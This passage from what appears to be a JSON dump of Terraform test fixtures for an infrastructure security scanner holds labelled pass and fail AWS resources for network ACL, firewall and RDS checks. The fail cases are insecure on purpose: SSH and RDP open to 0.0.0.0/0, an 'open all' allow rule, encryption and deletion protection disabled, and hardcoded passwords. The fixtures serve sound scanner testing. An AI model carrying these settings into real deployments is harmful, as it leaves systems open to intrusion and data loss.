\"10.3.0.0/18\"\n    from_port  = false\n    to_port    = false\n  }\n\n  ingress {\n    rule_no    = 100\n    action     = \"allow\"\n    cidr_block = \"0.0.0.0/0\"\n    from_port  = false\n    to_port    = false\n  }\n  ingress {\n    rule_no    = 110\n    action     = \"allow\"\n    cidr_block = \"0.0.0.0/0\"\n    from_port  = false\n    to_port    = false\n  }\n\n\n  tags = {\n    Name = \"main\"\n    test = \"fail\"\n  }\n}\n\nresource \"aws_network_acl_rule\" \"unknown2\" {\n  vpc_id = aws_network_acl.pass.id\n  rule_number    = 100\n  ingress         = true\n  protocol       = \"-1\"\n  rule_action    = \"allow\"\n  cidr_block     = \"0.0.0.0/0\"\n  from_port      = 80\n  to_port        = 80\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_NetworkACLUnrestrictedIngress3389/main.tf",
    "content": "resource \"aws_network_acl\" \"pass3\" {\n  vpc_id     = aws_vpc.VPC.id\n  subnet_ids = aws_subnet.PublicSubnet.*.id\n\n  ingress {\n    rule_no    = 10\n    protocol   = \"tcp\"\n    action     = \"deny\"\n    cidr_block = \"0.0.0.0/0\"\n\n    from_port = 3389\n    to_port   = 3389\n  }\n\n  ingress {\n    rule_no    = 20\n    protocol   = \"tcp\"\n    action     = \"allow\"\n    cidr_block = \"0.0.0.0/0\"\n\n    from_port = 3389\n    to_port   = 3389\n  }\n\n  ingress {\n    rule_no    = 100\n    protocol   = -1\n    action     = \"allow\"\n    cidr_block = \"0.0.0.0/0\"\n\n    from_port = 0\n    to_port   = 0\n  }\n\n  egress {\n    rule_no    = 100\n    protocol   = -1\n    action     = \"allow\"\n    cidr_block = \"0.0.0.0/0\"\n\n    from_port = 0\n    to_port   = 0\n  }\n\n  tags = {\n    Name = \"${var.TagName}-Public\"\n  }\n}\n\nresource \"aws_network_acl\" \"fail4\" {\n  vpc_id     = aws_vpc.VPC.id\n  subnet_ids = aws_subnet.PublicSubnet.*.id\n\n  ingress {\n    rule_no    = 30\n    protocol   = \"tcp\"\n    action     = \"deny\"\n    cidr_block = \"0.0.0.0/0\"\n\n    from_port = 20\n    to_port   = 22\n  }\n\n  ingress {\n    rule_no    = 20\n    protocol   = \"tcp\"\n    action     = \"deny\"\n    cidr_block = \"0.0.0.0/0\"\n\n    from_port = 3389\n    to_port   = 3389\n  }\n\n  ingress {\n    rule_no    = 10\n    protocol   = -1\n    action     = \"allow\"\n    cidr_block = \"0.0.0.0/0\"\n\n    from_port = 0\n    to_port   = 0\n  }\n\n  egress {\n    rule_no    = 100\n    protocol   = -1\n    action     = \"allow\"\n    cidr_block = \"0.0.0.0/0\"\n\n    from_port = 0\n    to_port   = 0\n  }\n\n  tags = {\n    Name = \"${var.TagName}-Public\"\n  }\n}\n\nresource \"aws_network_acl_rule\" \"fail2\" {\n  network_acl_id = aws_network_acl.pass.id\n  rule_number    = 200\n  egress         = false\n  protocol       = \"tcp\"\n  rule_action    = \"allow\"\n  cidr_block     = \"0.0.0.0/0\"\n  from_port      = 5\n  to_port        = 4000\n}\n\nresource \"aws_network_acl\" \"fail\" {\n  vpc_id = aws_vpc.main.id\n\n  egress {\n    protocol   = \"tcp\"\n    rule_no    = 200\n    action     = \"allow\"\n    cidr_block = \"10.3.0.0/18\"\n    from_port  = 443\n    to_port    = 443\n  }\n\n  ingress {\n    protocol   = \"tcp\"\n    rule_no    = 100\n    action     = \"allow\"\n    cidr_block = \"10.0.0.0/32\"\n    from_port  = 22\n    to_port    = 22\n  }\n  ingress {\n    protocol   = \"tcp\"\n    rule_no    = 110\n    action     = \"allow\"\n    cidr_block = \"0.0.0.0/0\"\n    from_port  = \"3389\"\n    to_port    = \"3389\"\n  }\n\n\n  tags = {\n    Name = \"main\"\n    test = \"fail\"\n  }\n}\n\nresource \"aws_network_acl\" \"fail2\" {\n  vpc_id = aws_vpc.main.id\n\n  egress {\n    protocol   = \"tcp\"\n    rule_no    = 200\n    action     = \"allow\"\n    cidr_block = \"10.3.0.0/18\"\n    from_port  = 443\n    to_port    = 443\n  }\n\n  ingress {\n    protocol   = \"tcp\"\n    rule_no    = 100\n    action     = \"allow\"\n    cidr_block = \"0.0.0.0/0\"\n    from_port  = 22\n    to_port    = 22\n  }\n  ingress {\n    protocol   = \"tcp\"\n    rule_no    = 110\n    action     = \"allow\"\n    cidr_block = \"0.0.0.0/0\"\n    from_port  = 3389\n    to_port    = 3389\n  }\n\n  tags = {\n    Name = \"main\"\n    test = \"fail\"\n  }\n}\n\nresource \"aws_network_acl\" \"pass\" {\n  vpc_id = aws_vpc.main.id\n\n  egress {\n    protocol   = \"tcp\"\n    rule_no    = 200\n    action     = \"allow\"\n    cidr_block = \"10.3.0.0/18\"\n    from_port  = 443\n    to_port    = 443\n  }\n\n  ingress = [{\n    protocol   = \"tcp\"\n    rule_no    = 100\n    action     = \"allow\"\n    cidr_block = \"10.0.0.0/32\"\n    from_port  = 22\n    to_port    = 22\n    },\n    {\n      protocol   = \"tcp\"\n      rule_no    = 110\n      action     = \"allow\"\n      cidr_block = \"10.0.0.0/32\"\n      from_port  = 3389\n      to_port    = 3389\n  }]\n\n\n  tags = {\n    Name = \"main\"\n    test = \"fail\"\n  }\n}\n\n\nresource \"aws_network_acl\" \"pass2\" {\n  vpc_id = aws_vpc.main.id\n\n  egress {\n    protocol   = \"tcp\"\n    rule_no    = 200\n    action     = \"allow\"\n    cidr_block = \"10.3.0.0/18\"\n    from_port  = 443\n    to_port    = 443\n  }\n\n  ingress {\n    protocol   = \"tcp\"\n    rule_no    = 100\n    action     = \"deny\"\n    cidr_block = \"0.0.0.0/0\"\n    from_port  = 22\n    to_port    = 22\n  }\n\n  ingress {\n    protocol   = \"tcp\"\n    rule_no    = 110\n    action     = \"deny\"\n    cidr_block = \"0.0.0.0/0\"\n    from_port  = 3389\n    to_port    = 3389\n  }\n\n  tags = {\n    Name = \"main\"\n    test = \"fail\"\n  }\n}\n\n\nresource \"aws_network_acl\" \"unknown\" {\n  vpc_id = aws_vpc.main.id\n\n  egress {\n    protocol   = \"tcp\"\n    rule_no    = 200\n    action     = \"allow\"\n    cidr_block = \"10.3.0.0/18\"\n    from_port  = 443\n    to_port    = 443\n  }\n\n  tags = {\n    Name = \"main\"\n    test = \"fail\"\n  }\n}\n\nresource \"aws_network_acl\" \"fail3\" {\n  vpc_id = aws_vpc.main.id\n\n  egress {\n    protocol   = \"tcp\"\n    rule_no    = 200\n    action     = \"allow\"\n    cidr_block = \"10.3.0.0/18\"\n    from_port  = 443\n    to_port    = 443\n  }\n\n  ingress {\n    protocol   = \"tcp\"\n    rule_no    = 100\n    action     = \"allow\"\n    cidr_block = \"0.0.0.0/0\"\n    from_port  = 22\n    to_port    = 22\n  }\n  ingress {\n    protocol        = \"tcp\"\n    rule_no         = 110\n    action          = \"allow\"\n    ipv6_cidr_block = \"::/0\"\n    from_port       = 3389\n    to_port         = 3389\n  }\n\n  tags = {\n    Name = \"main\"\n    test = \"fail\"\n  }\n}\n\nresource \"aws_network_acl_rule\" \"fail\" {\n  network_acl_id = aws_network_acl.pass.id\n  rule_number    = 200\n  egress         = false\n  protocol       = \"tcp\"\n  rule_action    = \"allow\"\n  cidr_block     = \"0.0.0.0/0\"\n  from_port      = 3389\n  to_port        = 3389\n}\n\n\nresource \"aws_network_acl_rule\" \"pass\" {\n  network_acl_id = aws_network_acl.pass.id\n  rule_number    = 200\n  egress         = false\n  protocol       = \"tcp\"\n  rule_action    = \"allow\"\n  cidr_block     = \"10.0.0.0/32\"\n  from_port      = 3389\n  to_port        = 3389\n}\n\nresource \"aws_network_acl_rule\" \"pass2\" {\n  network_acl_id = aws_network_acl.pass.id\n  rule_number    = 200\n  egress         = false\n  protocol       = \"tcp\"\n  rule_action    = \"allow\"\n  cidr_block     = \"10.0.0.0/32\"\n  from_port      = 5\n  to_port        = 4000\n}\n\nresource \"aws_vpc\" \"main\" {\n  cidr_block = \"10.0.0.0/16\"\n}\n\nprovider \"aws\" {\n  region = \"eu-west-2\"\n}\n\n# open all\nresource \"aws_network_acl_rule\" \"public_ingress\" {\n  network_acl_id = aws_network_acl.pass.id\n  rule_number    = 100\n  egress         = false\n  protocol       = \"-1\"\n  rule_action    = \"allow\"\n  cidr_block     = \"0.0.0.0/0\"\n}\n\n\nresource \"aws_network_acl_rule\" \"count_pass\" {\n  count          = length(var.public_nacl_inbound_tcp_ports)\n  network_acl_id = \"test_id\"\n  rule_number    = count.index + 101\n  egress         = false\n  protocol       = \"tcp\"\n  rule_action    = \"allow\"\n  cidr_block     = \"0.0.0.0/0\"\n  from_port      = var.public_nacl_inbound_tcp_ports[count.index]\n  to_port        = var.public_nacl_inbound_tcp_ports[count.index]\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_NetworkACLUnrestrictedIngress3389/variables.tf",
    "content": "variable \"public_nacl_inbound_tcp_ports\" {\n  type        = list(string)\n  default     = [\"80\", \"443\", \"22\", \"1194\"]\n  description = \"TCP Ports to allow inbound on public subnet via NACLs (this list cannot be empty)\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_NetworkFirewallDeletionProtection/main.tf",
    "content": "resource \"aws_networkfirewall_firewall\" \"fail\" {\n  name                = \"example\"\n  firewall_policy_arn = aws_networkfirewall_firewall_policy.example.arn\n  vpc_id              = aws_vpc.example.id\n  subnet_mapping {\n    subnet_id = aws_subnet.example.id\n  }\n\n  tags = {\n    Tag1 = \"Value1\"\n    Tag2 = \"Value2\"\n  }\n}\n\nresource \"aws_networkfirewall_firewall\" \"fail2\" {\n  name                = \"example\"\n  firewall_policy_arn = aws_networkfirewall_firewall_policy.example.arn\n  vpc_id              = aws_vpc.example.id\n  subnet_mapping {\n    subnet_id = aws_subnet.example.id\n  }\n\n  tags = {\n    Tag1 = \"Value1\"\n    Tag2 = \"Value2\"\n  }\n  delete_protection = false\n}\n\nresource \"aws_networkfirewall_firewall\" \"pass\" {\n  name                = \"example\"\n  firewall_policy_arn = aws_networkfirewall_firewall_policy.example.arn\n  vpc_id              = aws_vpc.example.id\n  subnet_mapping {\n    subnet_id = aws_subnet.example.id\n  }\n\n  tags = {\n    Tag1 = \"Value1\"\n    Tag2 = \"Value2\"\n  }\n\n  delete_protection = true\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_NetworkFirewallPolicyDefinesCMK/main.tf",
    "content": "resource \"aws_networkfirewall_firewall_policy\" \"fail\" {\n  name = \"example\"\n\n  firewall_policy {\n    stateless_default_actions          = [\"aws:pass\", \"ExampleCustomAction\"]\n    stateless_fragment_default_actions = [\"aws:drop\"]\n\n    stateless_custom_action {\n      action_definition {\n        publish_metric_action {\n          dimension {\n            value = \"1\"\n          }\n        }\n      }\n      action_name = \"ExampleCustomAction\"\n    }\n  }\n}\n\nresource \"aws_networkfirewall_firewall_policy\" \"fail2\" {\n  name = \"example\"\n\n  firewall_policy {\n    stateless_default_actions          = [\"aws:pass\", \"ExampleCustomAction\"]\n    stateless_fragment_default_actions = [\"aws:drop\"]\n\n    stateless_custom_action {\n      action_definition {\n        publish_metric_action {\n          dimension {\n            value = \"1\"\n          }\n        }\n      }\n      action_name = \"ExampleCustomAction\"\n    }\n  }\n  encryption_configuration {\n    type=\"AWS_OWNED_KMS_KEY\"\n  }\n}\n\nresource \"aws_networkfirewall_firewall_policy\" \"pass\" {\n  name = \"example\"\n\n  firewall_policy {\n    stateless_default_actions          = [\"aws:pass\", \"ExampleCustomAction\"]\n    stateless_fragment_default_actions = [\"aws:drop\"]\n\n    stateless_custom_action {\n      action_definition {\n        publish_metric_action {\n          dimension {\n            value = \"1\"\n          }\n        }\n      }\n      action_name = \"ExampleCustomAction\"\n    }\n  }\n  encryption_configuration {\n    type=\"AWS_OWNED_KMS_KEY\"\n    key_id=aws_kms_key.pike.id\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_NetworkFirewallUsesCMK/main.tf",
    "content": "resource \"aws_networkfirewall_firewall\" \"fail\" {\n  name                = \"example\"\n  firewall_policy_arn = aws_networkfirewall_firewall_policy.example.arn\n  vpc_id              = aws_vpc.example.id\n  subnet_mapping {\n    subnet_id = aws_subnet.example.id\n  }\n\n  tags = {\n    Tag1 = \"Value1\"\n    Tag2 = \"Value2\"\n  }\n}\n\nresource \"aws_networkfirewall_firewall\" \"fail2\" {\n  name                = \"example\"\n  firewall_policy_arn = aws_networkfirewall_firewall_policy.example.arn\n  vpc_id              = aws_vpc.example.id\n  subnet_mapping {\n    subnet_id = aws_subnet.example.id\n  }\n\n  encryption_configuration {\n    type=\"AWS_OWNED_KMS_KEY\"\n  }\n\n  tags = {\n    Tag1 = \"Value1\"\n    Tag2 = \"Value2\"\n  }\n  delete_protection = false\n}\n\nresource \"aws_networkfirewall_firewall\" \"pass\" {\n  name                = \"example\"\n  firewall_policy_arn = aws_networkfirewall_firewall_policy.example.arn\n  vpc_id              = aws_vpc.example.id\n  subnet_mapping {\n    subnet_id = aws_subnet.example.id\n  }\n\n  encryption_configuration {\n    key_id=aws_kms_key.pike.id\n    type=\"CUSTOMER_KMS\"\n  }\n\n  tags = {\n    Tag1 = \"Value1\"\n    Tag2 = \"Value2\"\n  }\n\n  delete_protection = true\n}\n\nresource \"aws_networkfirewall_rule_group\" \"fail\" {\n  capacity = 100\n  name     = \"example\"\n  type     = \"STATEFUL\"\n  rule_group {\n    rules_source {\n      rules_source_list {\n        generated_rules_type = \"DENYLIST\"\n        target_types         = [\"HTTP_HOST\"]\n        targets              = [\"test.example.com\"]\n      }\n    }\n    reference_sets {\n      ip_set_references {\n        key = \"example\"\n        ip_set_reference {\n          reference_arn = aws_ec2_managed_prefix_list.this.arn\n        }\n      }\n    }\n  }\n\n  tags = {\n    Tag1 = \"Value1\"\n    Tag2 = \"Value2\"\n  }\n}\n\nresource \"aws_networkfirewall_rule_group\" \"pass\" {\n  capacity = 100\n  name     = \"example\"\n  type     = \"STATEFUL\"\n  rule_group {\n    rules_source {\n      rules_source_list {\n        generated_rules_type = \"DENYLIST\"\n        target_types         = [\"HTTP_HOST\"]\n        targets              = [\"test.example.com\"]\n      }\n    }\n    reference_sets {\n      ip_set_references {\n        key = \"example\"\n        ip_set_reference {\n          reference_arn = aws_ec2_managed_prefix_list.this.arn\n        }\n      }\n    }\n  }\n\n  encryption_configuration {\n    key_id=aws_kms_key.pike.id\n    type=\"CUSTOMER_KMS\"\n  }\n  tags = {\n    Tag1 = \"Value1\"\n    Tag2 = \"Value2\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_QLDBLedgerDeletionProtection/main.tf",
    "content": "# pass\n\nresource \"aws_qldb_ledger\" \"default\" {\n  name             = \"ledger\"\n  permissions_mode = \"STANDARD\"\n}\n\nresource \"aws_qldb_ledger\" \"enabled\" {\n  name             = \"ledger\"\n  permissions_mode = \"STANDARD\"\n\n  deletion_protection = true\n}\n\n# failure\n\nresource \"aws_qldb_ledger\" \"disabled\" {\n  name             = \"ledger\"\n  permissions_mode = \"STANDARD\"\n\n  deletion_protection = false\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_QLDBLedgerPermissionsMode/main.tf",
    "content": "# pass\n\nresource \"aws_qldb_ledger\" \"standard\" {\n  name             = \"ledger\"\n  permissions_mode = \"STANDARD\"\n}\n\n# failure\n\nresource \"aws_qldb_ledger\" \"allow_all\" {\n  name             = \"ledger\"\n  permissions_mode = \"ALLOW_ALL\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_RDSCACertIsRecent/main.tf",
    "content": "\nresource \"aws_db_instance\" \"fail\" {\n  allocated_storage                   = 20\n  storage_type                        = \"gp2\"\n  engine                              = \"mysql\"\n  engine_version                      = \"5.7\"\n  instance_class                      = \"db.t2.micro\"\n  db_name                             = \"mydb\"\n  username                            = \"foo\"\n  password                            = \"foobarbaz\"\n  iam_database_authentication_enabled = true\n  storage_encrypted                   = true\n  ca_cert_identifier                  = \"rds-ca-2015\"\n}\n\nlocals {\n  passing_ca_cert_identifiers = [\n    \"rds-ca-rsa2048-g1\",\n    \"rds-ca-rsa4096-g1\",\n    \"rds-ca-ecc384-g1\",\n  ]\n}\n\nresource \"aws_db_instance\" \"pass\" {\n  for_each                            = local.passing_ca_cert_identifiers\n  allocated_storage                   = 20\n  storage_type                        = \"gp2\"\n  engine                              = \"mysql\"\n  engine_version                      = \"5.7\"\n  instance_class                      = \"db.t2.micro\"\n  db_name                             = \"mydb\"\n  username                            = \"foo\"\n  password                            = \"foobarbaz\"\n  iam_database_authentication_enabled = true\n  storage_encrypted                   = true\n  ca_cert_identifier                  = each.key\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_RDSClusterActivityStreamEncryptedWithCMK/main.tf",
    "content": "resource \"aws_rds_cluster_activity_stream\" \"pass\" {\n  resource_arn = aws_rds_cluster.default.arn\n  mode         = \"async\"\n  kms_key_id   = aws_kms_key.default.key_id\n\n  depends_on = [aws_rds_cluster_instance.default]\n}\n\n\nresource \"aws_rds_cluster_activity_stream\" \"fail\" {\n  resource_arn = aws_rds_cluster.default.arn\n  mode         = \"async\"\n\n  depends_on = [aws_rds_cluster_instance.default]\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_RDSClusterAuditLogging/main.tf",
    "content": "# pass\n\nresource \"aws_rds_cluster\" \"pass\" {\n  master_username = \"username\"\n  master_password = \"password\"\n  enabled_cloudwatch_logs_exports = [\"audit\"]\n  iam_database_authentication_enabled = true\n}\n\nresource \"aws_rds_cluster\" \"pass2\" {\n  master_username = \"username\"\n  master_password = \"password\"\n  enabled_cloudwatch_logs_exports = [\"general\", \"audit\"]\n  iam_database_authentication_enabled = true\n  engine = \"aurora-mysql\"\n}\n\nresource \"aws_rds_cluster\" \"fail\" {\n  master_username = \"username\"\n  master_password = \"password\"\n}\n\nresource \"aws_rds_cluster\" \"fail2\" {\n  master_username = \"username\"\n  master_password = \"password\"\n  enabled_cloudwatch_logs_exports = [\"error\", \"general\", \"slowquery\"]\n  iam_database_authentication_enabled = false\n}\n\n# unknown\n\nresource \"aws_rds_cluster\" \"unknown\" {\n  master_username = \"username\"\n  master_password = \"password\"\n\n  engine = \"aurora-postgresql\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_RDSClusterAuroraBacktrack/main.tf",
    "content": "resource \"aws_rds_cluster\" \"pass\" {\n  cluster_identifier      = \"aurora-cluster-demo\"\n  engine                  = \"aurora-mysql\"\n  engine_version          = \"5.7.mysql_aurora.2.03.2\"\n  availability_zones      = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n  database_name           = \"mydb\"\n  master_username         = \"foo\"\n  master_password         = \"bar\"\n  backtrack_window = 7\n  backup_retention_period = 5\n  preferred_backup_window = \"07:00-09:00\"\n}\n\nresource \"aws_rds_cluster\" \"pass2\" {\n  cluster_identifier      = \"aurora-cluster-demo\"\n  availability_zones      = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n  database_name           = \"mydb\"\n  master_username         = \"foo\"\n  master_password         = \"bar\"\n  backtrack_window = 7\n  backup_retention_period = 5\n  preferred_backup_window = \"07:00-09:00\"\n}\n\nresource \"aws_rds_cluster\" \"fail\" {\n  cluster_identifier      = \"aurora-cluster-demo\"\n  availability_zones      = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n  database_name           = \"mydb\"\n  master_username         = \"foo\"\n  master_password         = \"bar\"\n  backtrack_window = 0\n  backup_retention_period = 5\n  preferred_backup_window = \"07:00-09:00\"\n}\n\nresource \"aws_rds_cluster\" \"fail2\" {\n  cluster_identifier      = \"aurora-cluster-demo\"\n  availability_zones      = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n  database_name           = \"mydb\"\n  master_username         = \"foo\"\n  master_password         = \"bar\"\n  backup_retention_period = 5\n  preferred_backup_window = \"07:00-09:00\"\n}\n\nresource \"aws_rds_cluster\" \"postgresql\" {\n  cluster_identifier      = \"aurora-cluster-demo\"\n  engine                  = \"aurora-postgresql\"\n  availability_zones      = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n  database_name           = \"mydb\"\n  master_username         = \"foo\"\n  master_password         = \"bar\"\n  backup_retention_period = 5\n  preferred_backup_window = \"07:00-09:00\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_RDSClusterCopyTags/main.tf",
    "content": "resource \"aws_rds_cluster\" \"fail\" {\n  cluster_identifier        = \"example\"\n  availability_zones        = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n  engine                    = \"mysql\"\n  db_cluster_instance_class = \"db.r6gd.xlarge\"\n  storage_type              = \"io1\"\n  allocated_storage         = 100\n  iops                      = 1000\n  master_username           = \"test\"\n  master_password           = \"mustbeeightcharaters\"  # checkov:skip=CKV_SECRET_6 test secret\n}\n\nresource \"aws_rds_cluster\" \"fail2\" {\n  cluster_identifier        = \"example\"\n  availability_zones        = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n  engine                    = \"mysql\"\n  db_cluster_instance_class = \"db.r6gd.xlarge\"\n  storage_type              = \"io1\"\n  allocated_storage         = 100\n  iops                      = 1000\n  master_username           = \"test\"\n  master_password           = \"mustbeeightcharaters\"\n  copy_tags_to_snapshot = false\n}\n\nresource \"aws_rds_cluster\" \"pass\" {\n  cluster_identifier        = \"example\"\n  availability_zones        = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n  engine                    = \"mysql\"\n  db_cluster_instance_class = \"db.r6gd.xlarge\"\n  storage_type              = \"io1\"\n  allocated_storage         = 100\n  iops                      = 1000\n  master_username           = \"test\"\n  master_password           = \"mustbeeightcharaters\"\n  copy_tags_to_snapshot = true\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_RDSClusterEncryptedWithCMK/main.tf",
    "content": "# pass\n\nresource \"aws_rds_cluster\" \"pass\" {\n  master_username = \"username\"\n  master_password = \"password\"\n  storage_encrypted = true\n  iam_database_authentication_enabled = true\n  kms_key_id = aws_kms_key.pike.arn\n}\n\n# failure\n\nresource \"aws_rds_cluster\" \"fail\" {\n  master_username = \"username\"\n  master_password = \"password\"\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_RDSClusterIAMAuthentication/main.tf",
    "content": "# pass\n\nresource \"aws_rds_cluster\" \"enabled\" {\n  master_username = \"username\"\n  master_password = \"password\"\n\n  iam_database_authentication_enabled = true\n}\n\n# failure\n\nresource \"aws_rds_cluster\" \"default\" {\n  master_username = \"username\"\n  master_password = \"password\"\n}\n\nresource \"aws_rds_cluster\" \"disabled\" {\n  master_username = \"username\"\n  master_password = \"password\"\n\n  iam_database_authentication_enabled = false\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_RDSClusterLogging/main.tf",
    "content": "\nresource \"aws_rds_cluster\" \"pass\" {\n  master_username = \"username\"\n  master_password = \"password\"\n  enabled_cloudwatch_logs_exports = [\"audit\"]\n  iam_database_authentication_enabled = true\n}\n\nresource \"aws_rds_cluster\" \"fail\" {\n  master_username = \"username\"\n  master_password = \"password\"\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_RDSEncryption/main.tf",
    "content": "# pass\n\nresource \"aws_db_instance\" \"enabled\" {\n  name           = \"name\"\n  engine         = \"mysql\"\n  instance_class = \"db.t3.micro\"\n\n  storage_encrypted = true\n}\n\n# fail\n\nresource \"aws_db_instance\" \"default\" {\n  name           = \"name\"\n  engine         = \"mysql\"\n  instance_class = \"db.t3.micro\"\n}\n\nresource \"aws_db_instance\" \"disabled\" {\n  name           = \"name\"\n  engine         = \"mysql\"\n  instance_class = \"db.t3.micro\"\n\n  storage_encrypted = False\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_RDSHasSecurityGroup/main.tf",
    "content": "resource \"aws_db_security_group\" \"exists\" {\n  name = \"rds_sg\"\n\n  ingress {\n    cidr = \"10.0.0.0/24\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_RDSIAMAuthentication/main.tf",
    "content": "# pass\n\nresource \"aws_db_instance\" \"enabled_mysql\" {\n  allocated_storage = 5\n  engine            = \"postgres\"\n  instance_class    = \"db.t3.small\"\n  password          = \"password\"\n  username          = \"username\"\n\n  iam_database_authentication_enabled = true\n}\n\nresource \"aws_db_instance\" \"enabled_postgres\" {\n  allocated_storage = 5\n  engine            = \"postgres\"\n  instance_class    = \"db.t3.small\"\n  password          = \"password\"\n  username          = \"username\"\n\n  iam_database_authentication_enabled = true\n}\n\n# failure\n\nresource \"aws_db_instance\" \"default_mysql\" {\n  allocated_storage = 5\n  engine            = \"mysql\"\n  instance_class    = \"db.t3.small\"\n  password          = \"password\"\n  username          = \"username\"\n}\n\nresource \"aws_db_instance\" \"default_postgres\" {\n  allocated_storage = 5\n  engine            = \"postgres\"\n  instance_class    = \"db.t3.small\"\n  password          = \"password\"\n  username          = \"username\"\n}\n\nresource \"aws_db_instance\" \"disabled_mysql\" {\n  allocated_storage = 5\n  engine            = \"postgres\"\n  instance_class    = \"db.t3.small\"\n  password          = \"password\"\n  username          = \"username\"\n\n  iam_database_authentication_enabled = false\n}\n\nresource \"aws_db_instance\" \"disabled_postgres\" {\n  allocated_storage = 5\n  engine            = \"postgres\"\n  instance_class    = \"db.t3.small\"\n  password          = \"password\"\n  username          = \"username\"\n\n  iam_database_authentication_enabled = false\n}\n\n# unknown\n\nresource \"aws_db_instance\" \"mariadb\" {\n  allocated_storage = 5\n  engine            = \"mariadb\"\n  instance_class    = \"db.t3.small\"\n  password          = \"password\"\n  username          = \"username\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_RDSInstanceAutoBackupEncryptionWithCMK/main.tf",
    "content": "resource \"aws_db_instance_automated_backups_replication\" \"fail\" {\n  source_db_instance_arn = \"arn:aws:rds:us-west-2:123456789012:db:mydatabase\"\n  retention_period       = 14\n}\n\nresource \"aws_db_instance_automated_backups_replication\" \"pass\" {\n  source_db_instance_arn = \"arn:aws:rds:us-west-2:123456789012:db:mydatabase\"\n  kms_key_id             = \"arn:aws:kms:us-east-1:123456789012:key/12345678-1234-1234-1234-123456789012\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_RDSInstanceDeletionProtection/main.tf",
    "content": "\nresource \"aws_db_instance\" \"fail\" {\n    cluster_identifier      = \"aurora-cluster-demo\"\n    availability_zones      = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n  database_name           = \"mydb\"\n    master_username         = \"foo\"\n    master_password         = \"bar\"\n    backup_retention_period = 5\n    preferred_backup_window = \"07:00-09:00\"\n    deletion_protection = false\n  instance_class            = \"m4.large\"\n}\n\nresource \"aws_db_instance\" \"fail2\" {\n    cluster_identifier      = \"aurora-cluster-demo\"\n    availability_zones      = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n    database_name           = \"mydb\"\n    master_username         = \"foo\"\n    master_password         = \"bar\"\n    backup_retention_period = 5\n    preferred_backup_window = \"07:00-09:00\"\n    instance_class            = \"m4.large\"\n}\n\nresource \"aws_db_instance\" \"pass\" {\n    cluster_identifier      = \"aurora-cluster-demo\"\n    availability_zones      = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n    database_name           = \"mydb\"\n    master_username         = \"foo\"\n    master_password         = \"bar\"\n    backup_retention_period = 5\n    preferred_backup_window = \"07:00-09:00\"\n    deletion_protection = true\n    instance_class            = \"m4.large\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_RDSInstancePerfInsightsEncryptionWithCMK/main.tf",
    "content": "\n\nresource \"aws_db_instance\" \"fail\" {\n  cluster_identifier           = \"aurora-cluster-demo\"\n  availability_zones           = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n  database_name                = \"mydb\"\n  master_username              = \"foo\"\n  master_password              = \"bar\"\n  backup_retention_period      = 5\n  preferred_backup_window      = \"07:00-09:00\"\n  instance_class               = \"m4.large\"\n  performance_insights_enabled = true\n}\n\nresource \"aws_db_instance\" \"pass\" {\n  cluster_identifier           = \"aurora-cluster-demo\"\n  availability_zones           = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n  database_name                = \"mydb\"\n  master_username              = \"foo\"\n  master_password              = \"bar\"\n  backup_retention_period      = 5\n  preferred_backup_window      = \"07:00-09:00\"\n  deletion_protection          = true\n  instance_class               = \"m4.large\"\n  performance_insights_enabled = true\n  performance_insights_kms_key_id = aws_kms_key.pike.arn\n}\n\nresource \"aws_rds_cluster_instance\" \"fail\" {\n  identifier         = \"aurora-cluster-demo-${count.index}\"\n  cluster_identifier = aws_rds_cluster.default.id\n  instance_class     = \"db.r4.large\"\n  engine             = aws_rds_cluster.default.engine\n  engine_version     = aws_rds_cluster.default.engine_version\n  performance_insights_enabled = true\n}\n\n\nresource \"aws_rds_cluster_instance\" \"pass\" {\n  identifier                   = \"aurora-cluster-demo-${count.index}\"\n  cluster_identifier           = aws_rds_cluster.default.id\n  instance_class               = \"db.r4.large\"\n  engine                       = aws_rds_cluster.default.engine\n  engine_version               = aws_rds_cluster.default.engine_version\n  performance_insights_enabled = true\n  performance_insights_kms_key_id = aws_kms_key.pike.arn\n}\n\nresource \"aws_db_instance\" \"pass_empty\" {\n\n}\n\nresource \"aws_db_instance\" \"pass_insights_disabled\" {\n  performance_insights_enabled = false\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_RDSInstancePerformanceInsights/main.tf",
